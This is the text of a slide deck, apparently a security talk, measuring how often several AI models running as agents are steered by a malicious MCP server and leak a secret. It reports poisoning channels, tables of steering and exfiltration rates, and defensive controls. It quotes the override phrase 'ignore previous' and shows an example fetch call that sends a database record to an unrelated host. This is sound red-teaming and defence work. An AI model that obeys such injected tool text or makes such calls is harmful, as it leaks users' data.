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The Swapping Model Dilemma

• Resilience and uptime
• Automatic routing

• Cost control
• Sovereign AI
• Deployment flexibility

https://www.youtube.com/watch?v=UGjk3Uk0MxM

https://www.youtube.com/watch?v=UGjk3Uk0MxM




Same quality. Different risk.
Model Swap Workshop models, same agent, same tools, one malicious MCP server

Model Letter count
(correct = 13)

Tool-routing fail %
(ASSERT)

Steered by MCP
(of 30)

Secret exfiltrated
(of 30)

GPT-5.5 13 7% 0 0

Kimi K2.6 13 35% 28 27

DeepSeek V4 Flash 5-6 33% 26 26

Mistral Large 3 8 n/a 25 19

Quality columns: Pamela Fox, Model Swap Workshop. Security columns: our lab, n=5 per channel, 6 channels.

Quality parity is not security parity.



Every channel is a way in

Open models: no safe channel to scan. Every hit was silent.

MCP channel GPT-5.5 Kimi K2.6 DeepSeek V4 Mistral L3

Server instructions not sent not sent not sent not sent

Server instructions (forwarding host) 0/5 (0) 5/5 (5) 5/5 (5) 5/5 (0)

Tool description 0/5 (0) 5/5 (5) 5/5 (5) 5/5 (4)

Parameter description 0/5 (0) 5/5 (5) 5/5 (5) 5/5 (5)

Tool result 0/5 (0) 4/5 (4) 5/5 (5) 5/5 (5)

Rug pull (poisoned later) 0/5 (0) 4/5 (3) 1/5 (1) 0/5 (0)

Steered of 5 (secret exfiltrated).  † simulated (dashed): a host that forwards server instructions into the prompt. The stock SDK never sends them.



Swap the model, swap the hole

Your controls were tuned for the last model.

Poisoned... gpt-4.1-mini gpt-4.1 sonnet-4.5

Tool description 0/5 3/5 * 3/3

Parameter description 2/5 n/r 3/3

Tool result 5/5 5/5 0/6

Steered trials. * marker only, no exfil. n/r = not run.

Scorecards mislead

Kimi K2.6

7% overt benchmark

93% our MCP run

Haiku 4.5: rated 1%, went 3/3 full 
chain.
Benchmarks test "ignore 
previous". MCP attacks say "and 
also..."



Smarter is not safer

Gate on consequence, not on model reputation.

Reasoning ON
DeepSeek V4 Flash

Benign misroute

2/5 → 0/5
Rug pull obeyed

1/5 → 4/5

More thinking = more tool re-
checks = more exposure.

Stronger coder
gpt-5.3-codex, Agents SDK Skills

Prose injection

0/3
Bundled script

3/3 exfil

Ran the script without reading it. 
Refusal requires reading.

'Safest' model
GPT-5.5

MCP steering

0/30
Over-reach, no attacker

50%

Safe on one axis is not safe on the 
other.



The harness you didn't choose

Nobody picked these defaults. Everyone inherited them.

Extensions
MCP servers, skills, tools

you audit these

Harness
context, approvals, tool lists, forwarding

nobody owns this

Model
reasoning, tool choice

you benchmark this

Inherited default What we measured

Forward MCP server instructions? Agents SDK drops: 0/5.  Forwarding host: 
5/5 exfil

ShellTool needs_approval = False no human in the loop, by default

Skills: "prefer running" scripts codex: 3/3 exfil, script never read

Re-list tools, never diff rug pull: Kimi 4/5

Controls that don't trust the harness mcp-guardian
enforced at the MCP boundary

BehaviorContract
tool-call policy as Kubernetes CRDs



Same tool. Different intent.

The tool is not the risk. The flow is.

Goal: "Why did order 4211 fail?"

1. read

db.get_record(
"cust_4211")

2. fetch

fetch(
"docs.vendor.com/kb?q=E-502")

3. reply

Answer: known 
gateway bug

ALLOW
serves the goal, no record 

data leaves

Goal: "Why did order 4211 fail?"  + poisoned MCP step

1. read

db.get_record(
"cust_4211")

2. fetch

fetch(
"sync-cdn.io/?d=BE71…")

3. reply

Answer: looks 
identical

BLOCK
DB record in egress args, 

unrelated host

Intent analyser Does it serve the goal? Tainted data in egress args?





CTF Results Annacon

Courtesy of https://annacon.be



CTF Findings BruCON



REST API Example vs. model (Hermes)




